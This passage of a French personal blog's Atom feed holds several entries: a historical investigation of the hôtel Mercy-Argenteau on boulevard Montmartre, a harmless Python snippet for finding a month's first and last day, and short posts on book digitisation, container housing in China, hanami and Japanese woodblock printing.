+ <p class="source"><span class="auteur">Arneth, Alfred von.</span>, <cite class="titre">Correspondance secrète du comte de Mercy-Argenteau avec l'Empereur Joseph II et le prince de Kaunitz</cite>.</p>
+</div>
+
+<p>Une note de pied de page précise</p>
+
+<div class="extrait">
+ <blockquote cite="http://gallica.bnf.fr/ark:/12148/bpt6k6216920p/f66.image.r=%22Jean-Joseph%20de%20Laborde%22.langEN">
+ <p>M. de Laborde, qui possédait presque tout ce quartier qu'il avait complètement transformé en y perçant des rues et en y bâtissant un grand nombre de maisons, <strong>avait sans doute cédé à M. de Mercy un terrain pour y bâtir son hôtel</strong>. Nous savons que M. de Laborde, qui s'occupait de la fortune de ses amis, prenait soin des affaires de M. de Mercy comme des affaires du duc de Choiseul. C'est en l'hôtel de M. de Laborde que fut signé le 26 septembre 1775 le contrat passé entre le comte de Mercy et le marquis de Castellane pour la baronnie de Conflans.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Arneth, Alfred von.</span>, <cite class="titre">Correspondance secrète du comte de Mercy-Argenteau avec l'Empereur Joseph II et le prince de Kaunitz</cite>.</p>
+</div>
+
+<p>Difficile de savoir donc pour qui Firmin Perlin a vraiment construit l'hôtel particulier du boulevard Montmartre et avec quel argent. Cependant on trouve aussi dans le texte, la mention suivante <a href="http://gallica.bnf.fr/ark:/12148/bpt6k6216920p/f46.image.r=1778">à la page XXVI</a></p>
+
+
+<div class="extrait">
+ <blockquote cite="http://gallica.bnf.fr/ark:/12148/bpt6k6216920p/f66.image.r=%22Jean-Joseph%20de%20Laborde%22.langEN">
+ <p>En quittant son palais de la rive gauche, M. de Mercy alla habiter le superbe hôtel qu'il venait de se faire bâtir sur le boulevard Richelieu, aujourd'hui des Italiens, vis-à-vis la rue de Richelieu. Cette maison était assez remarquable pour que les guides de ce temps la signalassent à l'attention des provinciaux et des étrangers.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Arneth, Alfred von.</span>, <cite class="titre">Correspondance secrète du comte de Mercy-Argenteau avec l'Empereur Joseph II et le prince de Kaunitz</cite>.</p>
+</div>
+
+<p>Et une autre note de pied de page</p>
+
+<div class="extrait">
+ <blockquote cite="http://gallica.bnf.fr/ark:/12148/bpt6k6216920p/f66.image.r=%22Jean-Joseph%20de%20Laborde%22.langEN">
+ <p>Voici ce que nous en dit Hardy à la date du 9 juin 1778 : « Ce jour, me promenant sur les boulevards anciens, depuis la porte Saint-Martin jusqu'à la place Louis XV, je remarque… que depuis trois ou quatre ans on avait élevé de droite et de gauche, jusqu'à l'entrée du faubourg Saint-Honoré, de superbes maisons dans la construction desquelles on voyait briller et les talents de nos modernes artistes et le goût actuellement décidé des Parisiens pour le luxe et la décoration. Le comte de Mercy, ambassadeur de l'Empereur à la cour de France, originaire d'Italie et l'un des plus riches seigneurs de la cour impériale, qui avait obtenu de son souverain la permission de se fixer pour toujours dans notre capitale, était du nombre de ceux qui s'y faisaient préparer à grands frais un logement spacieux et magnifique. » (Journal de Hardy, t. III, p. 5oo, Mss. fr. de la Bibl. nat., vol. 6682.)</p>
+
+ <p>Grimm, dans un mémoire à Catherine II, écrivait en 1797 : « Un cas bien plus remarquable est celui du comte de Mercy-Argenteau, ambassadeur de la cour de Vienne en France, où il avait acheté des terres considérables et bâti à Paris un superbe hôtel pour habitation. Il avait d'ailleurs une fortune im mense, dont sûrement une grande partie était placée en France, puisqu'il comptait comme moi y passer sa vie. » (Correspondance littéraire, édition M. Tourneux, t. 1, p. 47.)</p>
+
+ <p>Thierry, Guide des amateurs et des étrangers a Paris, Paris, 1786, in- n, t. I,p. 188, et Watin, Le Provincial à Paris, quartier du Louvre, Paris, 1787, in-24, p. 18. </p>
+ <p>En 1795 l'hôtel de Mercy portait le n° 24 du boulevard de la Loi; mais jusqu'ici nous n'avons pas réussi à déterminer exactement l'emplacement de la maison qui le représente aujourd'hui; cela n'a pas d'ailleurs d'importance pour l'objet qui nous occupe.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Arneth, Alfred von.</span>, <cite class="titre">Correspondance secrète du comte de Mercy-Argenteau avec l'Empereur Joseph II et le prince de Kaunitz</cite>.</p>
+</div>
+
+<p>Il y a de nombreuses autres références dans le texte. Le boulevard semble s'appeler Boulevard de Richelieu. Tout ceci est assez confus finalement. Il semble qu'il soit venu habiter l'hôtel à partir de 1778 seulement.</p>
+
+<h2 id="batiment">Le bâtiment</h2>
+
+<p>Le bâtiment construit sur le <a href="https://fr.wikipedia.org/wiki/Boulevard_Montmartre">boulevard Montmartre</a> fût quitté par Mercy-Argenteau un peu après la Révolution Française. Je suppose que cela devenait trop dangereux de rester. L'hôtel avait bien moins d'étages au tout début de sa construction. Il a été agrandi au siècle suivant. Dans un document de la <a href="http://www.paris.fr/viewmultimediadocument?multimediadocument-id=72595">Commission du Vieux Paris</a> (pdf) du 27 novembre 2008, on peut trouver une reproduction de la façade du bâtiment original.</p>
+
+<figure>
+ <img src="/2013/04/10/grange-bateliere" alt="plan du bâtiment"/>
+ <figcaption>façade de l'hôtel Mercy d’Argenteau</figcaption>
+</figure>
+
+
+<p><strong>1824</strong> Le Grand Cercle. Il s'agit d'un lieu de jeu. <q cite="http://autourduperetanguy.blogspirit.com/archive/2007/05/16/le-grand-cercle-cercle-des-ganaches-et-cercle-des-echecs.html">Sa fondation remonte à 1824 un "Jockey-Club"pour généraux en retraite disaient les mauvaises langues. Situé presque en face du théâtre des Variétés, le cercle reprenait vie après la fermeture de celui-ci, les vieux barbons venant se reposer des émotions du foyer des artistes. On ne jouait pas de grosses sommes dans cet établissement de jeu qui ne fit pas beaucoup parler de lui sauf au moment de sa fermeture qui fut un scandale.</q> — <a href="http://autourduperetanguy.blogspirit.com/archive/2007/05/16/le-grand-cercle-cercle-des-ganaches-et-cercle-des-echecs.html">Autour du Père Tanguy</a></p>
+
+
+<p>Sur une <a href="/2013/04/10/gravure">gravure</a> réalisée par Benjamin Pépiot en 1860, on peut voir l'hôtel avec déjà tous ses étages.Selon </p>
+
+<figure>
+ <img src="/2013/04/10/gravure-detail" alt="Détail d'une gravure montrant des immeubles"/>
+ <figcaption>hôtel Mercy d’Argenteau sur la droite (<a href="/2013/04/10/gravure">complet</a>)</figcaption>
+</figure>
+
+<p>Un peu plus d'informations sur une page dédiée aux <a href="http://www.infodelimmo.com/II_article2850.html">rénovations récentes de l'hôtel particulier</a> :</p>
+
+<div class="extrait">
+ <blockquote cite="http://www.infodelimmo.com/II_article2850.html">
+<p>Amputé de ses communs et de ses jardins à la Révolution, il est surélevé de trois étages entre 1827 et 1829, augmenté de deux ailes sur cour et devient un immeuble de rapport. Il hébergera au Second Empire des cercles mondains très en vogue. En 1890, il est agrandi d’une vaste salle des fêtes attribuée à Charles Garnier, inscrite à l’inventaire supplémentaire des Monuments Historiques, tout comme le salon n° 2 du 1er étage, orné de colonnes corinthiennes.</p>
+ </blockquote>
+</div>
+
+<p><strong>1867</strong> : le Cercle <q>comptait plus de cinq cents</q> membres — <a href="http://autourduperetanguy.blogspirit.com/archive/2007/05/16/le-grand-cercle-cercle-des-ganaches-et-cercle-des-echecs.html">Autour du Père Tanguy</a></p>
+
+<p><strong>1876</strong> : un nouveau nom est adopté Cercle des Ganaches, <q>né de la fusion du Cercle Général du Commerce et de l'ancien Cercle</q>. Surveillance rapproché par la police. — <a href="http://autourduperetanguy.blogspirit.com/archive/2007/05/16/le-grand-cercle-cercle-des-ganaches-et-cercle-des-echecs.html">Autour du Père Tanguy</a>.</p>
+
+<p><strong>20 janvier 1894</strong> : <q>le préfet de Police Lépine faisait fermer le Grand Cercle, à la suite de nombreux rapports signalant la présence aux côtés du propriétaire d'un escroc international, "un nommé Mariovaldi (sic) dit Fabian Guagni dont les exploits ne sont plus à compter et tellement de notoriété publique, qu'il lui est impossible depuis de longues années de fréquenter le dernier des tripots de France C'est pour cela qu'il en était réduit à opérer sur les paquebots à l'étranger" (...) En compagnie de Monsieur Ardisson, l'auteur du scandale de l'Epatant, il fut de s'enfuir du Cercle de l'Union à Hambourg où il venaiit de dépouiller les joueurs d'une centaine de mille francs (expulsé de Baden-Baden. Ce monsieur faisa_it partie de la bande de détrousseurs composée de Belliard, Maria et consors est un grec des plus dangereux(...) extrait d'un rapport de police de décembre 1892.</q> — <a href="http://autourduperetanguy.blogspirit.com/archive/2007/05/16/le-grand-cercle-cercle-des-ganaches-et-cercle-des-echecs.html">Autour du Père Tanguy</a>.</p>
+
+<h2 id="carte">Les cartes</h2>
+
+<p><strong>2013</strong> : le <a href="http://osm.org/go/0BPIiU~J5--?layers=Q">16 du boulevard Montmartre</a> sur OpenStreetMap.</p>
+
+<figure>
+ <img src="/2013/04/10/plan-2013" alt="Carte OpenstreetMap au lieu de l'hôtel"/>
+ <figcaption>OpenStreetMap 2013</figcaption>
+</figure>
+
+<p><strong>1773</strong> : Sur le <a href="http://gallica.bnf.fr/ark:/12148/btv1b530066675/f1.zoom.r=paris.langEN">plan du quartier Montmartre</a> de Jean-Baptiste-Michel Renou de Chauvigné dit Jaillot, on peut remarquer un grand jardin au niveau du 16 actuel. Il n'existe alors que quelques hôtels particuliers et des fermes. Le plan pourrait avoir été dessiné avant 1773. Il est publié en 1773.</p>
+
+<figure>
+ <img src="/2013/04/10/plan-1773" alt="Détail du plan"/>
+ <figcaption>Plan du quartier Montmartre, 1773</figcaption>
+</figure>
+
+<p><strong>1778</strong> : Construction de l'hôtel</p>
+
+<p><strong>1779</strong> : <cite><a href="http://gallica.bnf.fr/ark:/12148/btv1b8495070r/f1.zoom.r=paris.langEN">Plan de la ville et fauxbourgs de Paris avec tous les changements et les édifices les plus récents.</a></cite></p>
+
+<figure>
+ <img src="/2013/04/10/plan-1779" alt="Détail du plan"/>
+ <figcaption>Paris, 1779</figcaption>
+</figure>
+
+
+<p><strong>1780</strong> : Un autre plan, <cite><a href="http://gallica.bnf.fr/ark:/12148/btv1b8495070r/f1.zoom.r=paris.langEN">Nouveau plan routier de la Ville et Fauxbourgs de Paris</a></cite> en 1780 semble montrer un bâti tout autour du bloc de rue avec des jardins intérieurs, mais sans grands détails.</p>
+
+<figure>
+ <img src="/2013/04/10/plan-1780" alt="Détail du plan"/>
+ <figcaption>Paris, 1780</figcaption>
+</figure>
+
+<p><strong>1783</strong> : <cite><a href="http://gallica.bnf.fr/ark:/12148/btv1b53025012v/f1.zoom.r=paris.langFR">Nouveau Plan de Paris, avec les augmentations et changements qui ont été faits pour son embellissement</a></cite>. Très similaire.</p>
+
+
+<figure>
+ <img src="/2013/04/10/plan-1783" alt="Détail du plan"/>
+ <figcaption>Paris, 1783</figcaption>
+</figure>
+
+
+
+<h2 id="boulevard">Boulevard Montmartre</h2>
+
+<p>Le boulevard Montmartre était le boulevard Richelieu.</p>
+
+<p>Dans un livre de 1863 sur <a href="http://gallica.bnf.fr/ark:/12148/bpt6k6481955r/f13.image.r">l'histoire des boulevards</a> </p>
+
+<div class="extrait">
+ <blockquote cite="http://gallica.bnf.fr/ark:/12148/bpt6k6481955r/f13.image.r">
+ <p>Derrière l'autre rangée d'arbres, parmi les maisons qui surgissent sur d'autres terrains vendus par la famille Choiseul à Dumont, à Forget, à <strong>Laborde</strong>, à Vessu, voici une propriété établie sous Louis XVI pour M. de Bospin, à l'un des angles de la rue Le Peletier.</p>
+ <p>[…]</p>
+ <p>Le Cours, où des arbres furent plantés en 1676, se divisa postérieurement en boulevards de divers noms, et le boulevard Poissonnière fut longtemps dit boulevard Montmartre. Celui qu'on connaît à présent sous cette dernière dénomination <strong>s'appelait boulevard Richelieu</strong>. </p>
+ <p>[…]</p>
+
+ <p>Notre notice sur la rue Drouot a déjà donné l'historique de la grande propriété située à l'opposite sur le boulevard. <strong>La maison adjacente qu'occupe l'ancien cercle a été un hôtel Mercy. Le comte de Mercy-d'Argenteau , ambassadeur du saint-empire, y résida, comme à l'hôtel d'Augny</strong>. On accusa ce diplomate, au commencement de la Révolution, d'être à Paris le directeur du comité autrichien, et il se retira à Bruxelles en septembre 1790.</p>
+
+ <p>Son frère, dans le même temps, épousait une cantatrice du nom de Levasseur , sa maîtresse, qui devint ainsi baronne du saint-empire, vicomtesse de Mercy-d'Argenteau. L'ambassadeur mourut à Londres quatre ans après; l'autre servit, comme général, dans les armées autrichiennes, et ne cessa de vivre qu'en 1815. </p> </blockquote>
+ <p class="source"><span class="auteur">Charles Lefeuve</span>, <cite class="titre">Histoire des boulevards des Italiens, Montmartre, Poissonnière, Bonne-Nouvelle et Saint-Denis</cite>.</p>
+</div>
+
+<p>En 1905, livre sur l'<a href="http://gallica.bnf.fr/ark:/12148/bpt6k55583641/f193.image.r=%22boulevard%20richelieu%22.langEN">histoire de la famille Mercy-d'Argenteau</a></p>
+
+<div class="extrait">
+ <blockquote cite="http://gallica.bnf.fr/ark:/12148/bpt6k55583641/f193.image.r">
+ <p>Le comte de Mercy-Argenteau, qui avait pris pour règle de suivre les traditions fastueuses du prince de Kaunitz, s'installa en prenant possession de l'ambassade d'Autriche, au palais du Petit-Luxembourg, qu'il avait loué au prince de Condé(<a href="#note1">1</a>). C'est là qu'il résida de 1766 à 1778 et qu'il reçut l'empereur Joseph II, lors de son voyage en France en 1774.</p>
+
+ <p>Le comte de Mercy ne tarda pas à gagner la confiance du duc de Choiseul, chef du ministère français, avec lequel il négocia et mena à bonne fin le mariage de l'archiduchesse Marie-Antoinette avec le dauphin de France, plus tard Louis XVI. Ce mariage resserrait l'alliance Austro-Française, oeuvre du prince de Kaunitz et comblait les voeux de l'impératrice Marie-Thérèse.</p>
+
+ <p id="note1">(1) Aujourd'hui, la résidence du président du Sénat; il quitta ce palais en 1778, pour <strong>aller habiter un superbe hôtel qu'il avait fait bâtir au boulevard Richelieu</strong>, aujourd'hui des Italiens, vis-à-vis de la rue Richelieu.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Eugène Poswick</span>, <cite class="titre">Histoire de la seigneurie libre et impériale d'Argenteau et de la maison de ce nom, aujourd'hui Mercy-Argenteau</cite>.</p>
+</div>
+
+<p>Dans les procès verbaux de la <a href="http://gallica.bnf.fr/ark:/12148/bpt6k5775320z/f48.image.r=%22boulevard%20richelieu%22.langEN">Commission municipale du Vieux Paris</a>, on trouve : </p>
+
+<div class="extrait">
+ <blockquote cite="http://gallica.bnf.fr/ark:/12148/bpt6k5775320z/f48.image.r=%22boulevard%20richelieu%22.langEN">
+ <p>Quelques auteurs ont affirmé que le comte de Mercy-Argenteau avait habité cet hôtel. Cette affirmation est probablement erronée, les Almanachs royaux, jusqu'à celui de 1790, indiquant ce personnage comme logeant au boulevard Richelieu :</p>
+
+ <p>« M. le Comte de Mercy-Argenteau, Ambassadeur de l'Empereur, roi de Hongrie et de Bohême, au Boulevard Richelieu. »</p>
+
+ <p>D'ailleurs, Thiery dit, en parlant de la rue Grange-Batelière : </p>
+
+ <p>« … Revenant sur vos pas, vous verrez encore de beaux hôtels avant d'arriver au Boulevard, sur lequel vous remarquerez celui occupé par M. le Comte de Mercy-Argenteau, Ambassadeur de l'Empereur (1). »</p>
+
+ <p>Il ne paraît donc pas y avoir de doute dans ce texte, en ce qui concerne la situation, sur le boulevard, de l'hôtel du célèbre diplomate. </p>
+ </blockquote>
+ <p class="source"><span class="auteur">Commission du Vieux Paris</span>, <cite class="titre">Procès verbaux - Commission municipale du Vieux Paris</cite>.</p>
+</div>
+
+<p>Voir aussi <a href="http://www.paris.fr/viewmultimediadocument?multimediadocument-id=72593&amp;ei=7qlouffgemayhqe-0icgda&amp;usg=afqjcngb35tqdfnvycg7rc3itqh-gjzicw&amp;bvm=bv.45175338,d.zg4&amp;cad=rja">Commission du vieux Paris - 21 avril 2009</a> (pdf)</p>
+
+<p>Le passage est extrait du guide de Luc Thiéry à la <a href="http://gallica.bnf.fr/ark:/12148/bpt6k119125s/f247.image.r=boulevard.langEN">page 188</a>.</p>
+
+<h2 id="voirailleurs">Voir Ailleurs</h2>
+
+<ul>
+ <li><a href="http://autourduperetanguy.blogspirit.com/archive/2007/05/16/le-grand-cercle-cercle-des-ganaches-et-cercle-des-echecs.html">Le grand cercle, cercle des ganaches, et cercle des echecs</a></li>
+</ul>
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-04-09:2013/04/09/les-salauds</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/04/09/les-salauds"/>
+ <title>Les salauds du livre</title>
+ <published>2013-04-09T12:36:00Z</published>
+ <updated>2013-04-09T13:27:27Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/04/09/les-salauds-kurosawa" alt="trois hommes autour d'une table"/>
+ <figcaption>Les salauds dorment en paix, Akira Kurosawa</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="">
+ <p>La vie est cynique. Notre relation l'est aussi.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Akira Kurosawa</span>, <cite class="titre">Les salauds dorment en paix</cite>.</p>
+</div>
+
+<p>Depuis quelques jours, le monde du livre <a href="/2013/03/23/relire">discute</a>. Voici ce que je retiens des lectures des commentaires et des billets chargés d'invectives. <strong>Ce ne sont pas mes propos</strong>.</p>
+
+<ul>
+ <li>L'état. Salaud car il détourne les lois européennes et le code de la propriété intellectuelle.</li>
+ <li>La <acronym title="Bibliothèque Nationale de France">BNF</acronym>. Salaud car elle négocie dans l'opacité contre les auteurs.</li>
+ <li>L'éditeur. Salaud car il profite de l'argent public pour éditer en numérique alors qu'il n'a pas bougé le petit doigt avant.</li>
+ <li>L'auteur. Salaud car il ne considère pas l'intérêt public et s'accroche au code de la propriété intellectuelle.</li>
+ <li>Le lecteur. Salaud car il ne respecte pas l'auteur et « le lit mal » (sic).</li>
+</ul>
+
+<p>Vraiment ? Est-ce vraiment le monde que nous voulons ? Réveillez-vous.</p>
+
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry xmlns="http://www.w3.org/2005/Atom">
+ <id>tag:la-grange.net,2013-04-03:2013/04/03/python-jour</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/04/03/python-jour"/>
+ <title>Trouver le premier et le dernier jour du mois (Python)</title>
+ <published>2013-04-03T17:11:00Z</published>
+ <updated>2013-04-09T10:33:00Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2008/03/26/9689-rue" alt="Lampe dans une rue sombre"/>
+ <figcaption>26 mars 2008, Tokyo, Japon</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>Le jour et la nuit ne sont-ils que des hallucinations de passant ? Que voient les emmurés ? L'oubli ? Leurs mains ?</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Afin de pouvoir calculer le temps écoulé entre une date précise et le début du mois, ou bien la fin du mois, il est nécessaire de déterminer le premier jour et le dernier jour de ce mois.</p>
+
+<p>Le premier jour du mois est facile à obtenir. Le dernier jour du mois est variable. Il est soit le 28, 29, 30 ou 31. Le plus simple est donc de rechercher le premier jour du mois suivant (stable) et de soustraire 1 seconde pour obtenir le dernier jour du mois en cours. Bien sûr uniquement pour les dates récentes, le <a href="https://fr.wikipedia.org/wiki/Calendrier_gr%C3%A9gorien#L.27adoption_du_calendrier_gr.C3.A9gorien">calendrier a évolué</a>, changé dans le passé.</p>
+
+<pre><code>#!/usr/bin/env python
+# encoding: utf-8
+"""
+Compute first and last day of the month for a precise date.
+Python 3
+
+Created by Karl Dubost on 2013-04-03.
+MIT License.
+"""
+
+import datetime
+
+
+def month_range(datetime_object):
+ """give the first and last day of the month for this day"""
+ # getting the month
+ first_month = datetime_object.month
+ # getting the year
+ first_year = datetime_object.year
+ # Computing the first day.
+ # It is always the first of the month
+ first_day = datetime.datetime(year=first_year, month=first_month, day=1)
+ # computing the last day
+ # The last day of the month can be 28, 29, 30, 31.
+ # So we increment to the first day of next month at midnight and remove 1 second.
+ if first_month == 12:
+ last_day = datetime.datetime(year=first_year, month=12, day=31, hour=23, minute=59, second=59)
+ else:
+ last_day = datetime.datetime(year=first_year, month=first_month+1, day=1) - datetime.timedelta(seconds=1)
+ return first_day, last_day
+
+
+def main():
+ # given a date string
+ date_string = "2013-04-03T16:27:00"
+ # convert it into a python datetime object
+ date_object = datetime.datetime.strptime(date_string, "%Y-%m-%dT%H:%M:%S")
+ # return a tuple being the first and last day of the month for this date
+ print(month_range(date_object))
+
+if __name__ == '__main__':
+ main()
+</code></pre>
+
+<p>Comme d'habitude, avec l'espoir que ce soit utile pour les autres.</p>
+
+<h2 id="calendar-python">Module calendar en Python</h2>
+
+
+<p>Une autre solution proposée par <a href="http://www.raubacapeu.net/">Yves Lafon</a> (quelques minutes plus tard)</p>
+
+<pre><code>→ python3
+Python 3.3.0 (v3.3.0:bd8afb90ebf2, Sep 29 2012, 01:25:11)
+[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
+Type "help", "copyright", "credits" or "license" for more information.
+&gt;&gt;&gt; import calendar
+&gt;&gt;&gt; calendar.monthrange(2013, 2)
+(4, 28)
+</code></pre>
+
+<p><code><a href="http://docs.python.org/3.3/library/calendar.html#calendar.monthrange">calendar.monthrange</a>(year, month)</code> renvoie le jour de la semaine du premier jour du mois, ainsi que le nombre de jours dans le mois.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-31:2013/03/31/conteneur</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/31/conteneur"/>
+ <title>Habiter la globalisation</title>
+ <published>2013-03-31T23:59:00Z</published>
+ <updated>2013-04-08T20:14:18Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/31/conteneur-chine-2" alt="Rue d'un village de conteneurs"/>
+ <figcaption><a href="http://blogs.reuters.com/photographers-blog/2013/03/11/uneasy-life-of-chinas-migrants/">Village de conteneurs</a>. Mars 2013, <a href="http://blogs.reuters.com/aly-song/">Aly Song</a>, Reuters ©.</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>L'orage a deux maisons. L'une occupe une brève place sur l'horizon ; l'autre, tout un homme suffit à peine à la contenir.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Le conteneur est une unité symbolique de la globalisation. Il représente les échanges des biens matériels. Tout ce qui se déplace est échangé à travers le monde passera par un conteneur. Devenu commun, il devient objet de travail, de transformation, de détournement et de création. On le transforme en <a href="/2012/11/01/conteneur">appartements pour étudiants</a>. Il est également décliné à tous les barreaux de l'échelle sociale en Chine.</p>
+
+<p><a href="http://dachenghouse.en.alibaba.com/">Dacheng</a> est spécialisé dans la création de structure de métal. Il vous en coûtera de 2,850 à 6,000 dollars US pour <a href="http://dachenghouse.en.alibaba.com/product/529631043-212394162/Mobile_Container_Village_on_the_Wild_at_Low_Price.html">avoir votre boîte de métal</a>.</p>
+
+<figure>
+ <img src="/2013/03/31/village-conteneur" alt="conteneurs alignés en grand nombre"/>
+ <figcaption>Parc d'achat des conteneurs pour Dacheng.</figcaption>
+</figure>
+
+<p>Bien sûr, les riches ont tout prévu et ne voulaient pas être en reste. Il existe donc maintenant un <a href="http://blog.localnomad.com/en/2013/01/30/xiang-xiang-pray-house-5-star-shipping-container-hotel/">hôtel cinq étoiles</a> pour passer la nuit dans un conteneur.</p>
+
+<p>Cependant la réalité urbaine du conteneur se décline surtout comme hébergement de fortune pour les migrants des provinces chinoises attirés par le travail dans les fortes zones industrielles autour de Shanghai, Shenzhen, etc. Les centre-villes sont souvent été rasés pour être reconstruits en logements plus salubres mais inabordables pour les migrants. Ils s'installent donc dans les <a href="http://www.asiaone.com/News/AsiaOne%2BNews/Asia/Story/A1Story20130331-412491.html">conteneurs</a> pour leur <a href="http://news.yahoo.com/chinas-urbanization-drive-leaves-migrant-workers-cold-012351130--business.html">maison et leurs commerces locaux</a>. Les conteneurs sont loués <a href="http://blogs.reuters.com/photographers-blog/2013/03/11/uneasy-life-of-chinas-migrants/">500 Yuans par mois</a>.</p>
+
+<figure>
+ <img src="/2013/03/31/conteneur-chine" alt="Rue d'un village de conteneurs"/>
+ <figcaption><a href="http://blogs.reuters.com/photographers-blog/2013/03/11/uneasy-life-of-chinas-migrants/">Village de conteneurs</a>. Mars 2013, <a href="http://blogs.reuters.com/aly-song/">Aly Song</a>, Reuters ©.</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-24:2013/03/24/hanami</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/24/hanami"/>
+ <title>Hanami, la fiction en flocons</title>
+ <published>2013-03-24T23:59:00Z</published>
+ <updated>2013-04-08T19:18:22Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2008/03/29/9741-hanami" alt="chemin sous les cerisiers en fleurs"/>
+ <figcaption>29 mars 2008, Tokyo, Japon</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>Le poète : Les orangers déjà sont en fleur, le pêcher fait son averse. D'autres arbres vont bientôt suivre. Mais leur maturité est insérée dans une unique saison. Tandis qu'ici…</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p><img src="/2013/03/23/4551-printemps" alt="" style="float:right;margin-left:2rem;"/>Chaque jour, un pétale se détache du monde. À travers les océans et les continents, la joie se communique avec l'onde. L'ivresse accompagne la chute des flocons du printemps japonais. Alors nous rêvons et nous trinquons au delà des fuseaux horaires. Le monde est dense. Nos amis sont proches.</p>
+
+<p>Que nous vaut l'ivresse quand la chair n'y est pas. Sous nos cerisiers, les voix s'imaginent. Nous crystalisons le bonheur. La fiction y est un corps étrange. La vibration des mots qui tremble dans nos coffres respectifs, ceux là, il faudra les créer de nouveau.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-21:2013/03/21/creation</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/21/creation"/>
+ <title>Le processus de création confronté au quotidien</title>
+ <published>2013-03-21T23:59:00Z</published>
+ <updated>2013-04-08T03:03:52Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/12/kanae-yamato" alt="hommes face à la mer"/>
+ <figcaption>Les pêcheurs, Kanae Yamamoto</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-031918-0">
+ <p>Tant de mots sont synonymes d'adieu, tant de visages n'ont pas d'équivalent.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">René Char</span>, <cite class="titre">Recherche de la base et du sommet</cite>.</p>
+</div>
+
+<p>Kanae Yamamoto a relancé l'<a href="https://fr.wikipedia.org/wiki/Ukiyo-e">Ukiyo-e</a> (estampe gravée sur bois) au début du 20eme siècle. L'imagerie populaire des ukiyo-e s'appuie sur une reproduction de masse commerciale, le « pop art » avant l'heure. L'imprimerie et les encres chimiques ne feront qu'accélérer le processus, et puis finalement le tuer. Le système de création des ukiyo-e est un système traditionnel réparti, composé de : </p>
+
+<ul>
+ <li>l'artiste</li>
+ <li>le graveur sur bois</li>
+ <li>l'imprimeur</li>
+ <li>l'éditeur</li>
+</ul>
+
+<p>Kanae Yamamoto et quelques autres artistes veulent en s'appuyant sur une idée de l'artiste maître de l'ensemble de son processus de création de créer un nouveau mouvement : <a href="https://fr.wikipedia.org/wiki/S%C5%8Dsaku_hanga">SÅsaku-hanga</a>. L'artiste doit maîtriser tout le processus de création et être à la fois peintre, graveur, imprimeur. D'une culture du travail combiné des artisans, on passe à une culture de l'artiste maître poussée par les nombreux artistes japonais qui ont séjourné en Europe. L'artiste avec un « moi » affirmé commence à apparaître en 1910 dans un essai de <a href="http://wiki.samurai-archives.com/index.php?title=Takamura_Kotaro">Takamura Kotaro</a> intitulé <cite>Soleil Vert</cite> et publié dans le magazine Subaru (2–4 Avril 1910, p. 23–29). Il appelle à l'indépendance artistique <q cite="http://books.google.ca/books?id=88bjo4y6mLQC">Si une personne peint un « soleil vert, » je ne dirais pas que c'est incorrect. Car il y a des moments où le soleil ressemble à cela pour moi, aussi. Simplement parce-qu'une peinture contient un « soleil vert, » je ne seraias pas capable d'ignorer la valeur d'ensemble de la peinture. Le bon ou le mauvais de la peinture n'a rien à voir avec le fait que le soleil soit vert ou rouge enflammé.</q> Et un peu plus loin, il poursuit par <q>J'aimerais permettre la <i lang="de">Persoenlichkeit</i> de l'artiste qui a peint un soleil vert d'avoir une autorité absolue.</q></p>
+
